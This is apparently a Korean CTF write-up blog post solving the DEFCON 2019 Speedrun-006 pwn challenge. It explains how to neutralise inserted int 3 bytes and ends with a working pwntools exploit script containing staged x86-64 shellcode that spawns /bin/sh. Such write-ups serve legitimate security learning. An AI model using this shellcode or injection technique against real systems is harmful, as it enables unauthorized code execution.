How to Solve

  1. 입력하는 크기가 26byte여야 하고, 입력된 buf는 shellcode_it이라는 함수로 넘어가는 게 3번 문제와 흡사하여 26byte에 맞춰서 64bit shellcode를 입력하였더니 풀리지 않았다.
  2. buf에 26개의 A을 입력하고 스택에서 어떻게 값이 들어가는지 알아보자.image
  3. 6, 11, 21, 29번째에 \xcc가 추가되어 29byte 길이로 변한다. \xccint 3이라는 명령어를 수행시킨다. int 3은 디버거가 실행중인 프로그램에 브레이크포인트를 설정하기 위하여 사용된다. 따라서 프로그램이 브레이크에 걸려서 제대로 실행되지 않는 것이다. 따라서 int 3을 제거해주어야 한다. 또한 read 함수를 호출할 수 있도록 하여 제대로 된 shellcode를 입력받도록 하자.

Design the Payload

어셈블리어를 16진수 코드로 변환시킬 때는 https://defuse.ca/online-x86-assembler.htm#disassembly 사이트를 이용하였다.

Remove INT 3

read 함수에는 rbx가 사용되지 않으므로, 0xcc앞에 코드를 추가하여 mov rbx, 0xcc라는 명령을 수행시키자.

image

생각보다 복잡하고 거기다가 null이 코드에 포함되어 있다.

image

이 코드를 사용하도록 하자. \xcc 앞에 \xb3만 추가해주면 된다.

read(0, somewhere, some byte)

syscall을 이용하여 read함수를 호출하자. rax, rdi 값은 0, rsi는 어딘가로 입력하는 데 기존 프로그램을 방해하면 안된다. rdx는 적당히 0x30으로 하자. 또한 syscall 이후 read 함수를 이용해 입력한 shellcode를 실행하기 위해 rsi로 점프하는 명령어도 써주어야 한다.

image

이제 이 코드 사이에 \xb3을 적절히 추가해줘서 \xcc를 무력화시키자. 29번째에 나오는 \xcc는 무시해도 된다. 그전에 syscall되고 점프하기 때문이다.

Shellcode

syscall을 이용하여 execve함수를 호출하자. rax 값은 59, rdi는 "/bin/sh", rsi, rdx는 0이어야 한다.

image

mov [rdi], 0x68732f6e69622f으로 하면 오류가 나는 데 아마 상수가 와서 그런 것 같다.


Exploit

from pwn import *
p=process('./speedrun-006')

'''
0:  48 31 c0                xor    rax,rax
3:  48 31 ff                xor    rdi,rdi
6:  48 8d 35 d0 ff ff ff    lea    rsi,[rip+0xffffffffffffffd0]
d:  b2 30                   mov    dl,0x30
f:  0f 05                   syscall
11: ff e6                   jmp    rsi
'''

payload='\x48\x31\xc0'+'\x90\xb3'   # +'\xcc'
payload+='\x48\x31\xff'+'\xb3'      # +'\xcc'
payload+='\x48\x8d\x35\xd0\xff\xff\xff'+'\x90\xb3'  # +'\xcc'
payload+='\xb2\x30\x0f\x05\xff\xe6'
payload=payload.ljust(0x1a, '\x90')

p.sendafter('ride\n', payload)

'''
0:  b0 3b                   mov    al,0x3b
2:  48 31 f6                xor    rsi,rsi
5:  48 31 d2                xor    rdx,rdx
8:  48 8d 3d f8 ff ff ff    lea    rdi,[rip+0xfffffffffffffff8]     
f:  48 b9 2f 62 69 6e 2f    movabs rcx,0x68732f6e69622f
16: 73 68 00
19: 48 89 0f                mov    QWORD PTR [rdi],rcx
1c: 0f 05                   syscall
'''

payload='\xB0\x3B\x48\x31\xF6\x48\x31\xD2\x48\x8D\x3D\xF8\xFF\xFF\xFF\x48\xB9\x2F\x62\x69\x6E\x2F\x73\x68\x00\x48\x89\x0F\x0F\x05'
p.send(payload)

p.interactive()

Get The Shell

image

'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

[zer0pts CTF 2020] hipwn  (0) 2020.03.11
DEFCON 2019 Speedrun-007  (0) 2020.03.07
DEFCON 2019 Speedrun-005  (0) 2020.03.07
DEFCON 2019 Speedrun-004  (0) 2020.03.07
DEFCON 2019 Speedrun-003  (0) 2020.03.07

+ Recent posts